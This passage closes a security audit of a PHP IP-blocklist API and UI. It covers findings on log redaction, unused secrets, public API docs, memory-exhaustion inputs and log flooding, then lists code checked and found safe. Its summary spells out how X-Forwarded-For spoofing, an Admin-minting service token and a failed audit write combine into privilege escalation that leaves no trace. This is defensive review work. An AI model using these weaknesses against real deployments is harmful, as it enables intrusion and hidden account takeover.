  Container starts with empty `/etc/crontabs/root` and silently never
  runs `cleanup-audit` (audit retention silently broken) or
  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
- **Severity: 1**

### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
- **Risk:** A short Bearer (< 20 chars) is not redacted by the
  current regex. Raw `id_token`/`access_token` JWTs logged under
  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
  Add a JWT regex
  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
- **Severity: 1**

### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
- **Files:** `.env.example:23, 82`,
  `api/config/settings.php:35`,
  `ui/config/settings.php:37`
- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
  is never used for any signing/HMAC operation. Operators following
  `.env.example` generate secret material that does nothing — a
  misleading security signal. Either wire them into ETag/CSRF/session
  signing or remove them.
- **Severity: 1**

### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
- **Files:** `ui/src/App/Config.php:20-55`,
  `.env.example:82`
- **Risk:** `.env.example:82` documents `UI_SECRET` as required
  ("signs session cookies") but the boot validator does not check
  it. Sessions are unsigned PHP-native files. Misleading
  documentation.
- **Severity: 1**

### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
- **Files:** `api/src/App/AppFactory.php:99-101`,
  `api/docker/Caddyfile:40-44`
- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
  endpoints, internal-job endpoints, expected query/body shapes, and
  error contracts to unauthenticated callers. Defaults to
  internet-reachable. Aids reconnaissance. Gate behind a flag like
  `API_DOCS_PUBLIC` or move to an authenticated path.
- **Severity: 1**

### F69 — `ReportController` parses unbounded JSON body before size checks
- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
  `api/src/App/AppFactory.php:67`
- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
  `json_decode`s it without a pre-decoding size check. The 4 KB
  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
  full body is in memory by then. PHP `post_max_size`/`memory_limit`
  are not configured anywhere in the docker stack. An authenticated
  reporter (one weak token suffices) can POST a 100 MB body and
  burn memory; metadata-depth nesting up to PHP's 512 default
  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
  enforce `php_value memory_limit`.
- **Severity: 1**

### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
- **Risk:** A consumer can request the more expensive JSON renderer
  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
  rebuilds and rehashes. Combined with the per-token-only rate
  limit, a single consumer at 60 req/s sustains 60 full
  build-and-hash operations per second per replica. Header
  size limits cap the `If-None-Match` parse loop but it is still an
  amplifier. Constrain `format` per consumer (only allow what the
  consumer typically uses).
- **Severity: 1**

### F71 — `BlocklistCache` is not size-bounded
- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
- **Risk:** The cache map is keyed by `$policy->id` and grows
  monotonically with no LRU. Admin-creatable, but unbounded. Add a
  bounded LRU (e.g. 16 policies cached).
- **Severity: 1**

### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
- **Files:** `api/src/App/AppFactory.php:256`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
  `rawurldecode` runs on the entire string; `IpAddress::fromString`
  applies regex. Web-server URL-length limits typically cap this at
  a few KB but mitigations are environment-specific. Tighten the
  regex to a strict IP character class.
- **Severity: 1**

### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
  status if it is in `[400, 600)`. PDOException's `getCode()` is a
  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
  string like `'400'` would set status 400 and skip prod
  message-suppression. Cast to int explicitly and reject non-numeric
  codes.
- **Severity: 1**

### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
  the structured logger. No log-rate cap, no aggregation. Pair with
  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
- **Severity: 1**

---

## Reviewed and acceptable

The following candidate concerns were checked and are not findings in the
current code. Listed for completeness so the next reviewer doesn't redo
the same work.

- **No raw SQL interpolation of user input.** All repositories bind via
  DBAL named/positional parameters. The only `sprintf` into SQL is for
  table names where values are hardcoded constants or `?` placeholder
  counts.
- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
  user-controlled sort column anywhere reviewed.
- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
  identifiers, malformed octets.
- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
  channel.
- **Constant-time comparisons** used where they matter (`hash_equals`
  in CSRF, internal token, local-admin username).
- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
- **Failed-token responses are uniform 401** — no distinction between
  missing/malformed/unknown/revoked/expired.
- **Impersonation header is silently ignored on non-service tokens.**
- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
- **JobRunner orchestrates entirely via DBAL** — no shell-out.
- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
  thresholds; truncated/empty downloads fail closed.
- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
  user-retargetable.
- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
  a hard-coded allowlist.
- **Twig auto-escape (HTML)** is the default; no `|raw` over
  user-controlled data was found.
- **Logout is POST-only and CSRF-protected.**
- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
  `SameSite=Lax`) are correct.
- **`PharData::extractTo` rejects path traversal** since PHP 8.

---

## Summary of severity counts

| Severity | Count |
|----------|-------|
| 3        | 5     |
| 2        | 27    |
| 1        | 42    |
| **Total**| **74**|

The headline risks are: (a) the brute-force lockout is bypassable
trivially via `X-Forwarded-For` spoofing or distributed sources
(F1, F2), (b) a leaked or unrotated service token is a single-step
total compromise because `/api/v1/auth/upsert-local` mints Admin users
with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
integrity rests on a non-transactional best-effort second write that
silently no-ops on failure (F4, F5). The combination of these means a
single compromised credential plus a deliberately-failed audit insert
yields un-traced privilege escalation.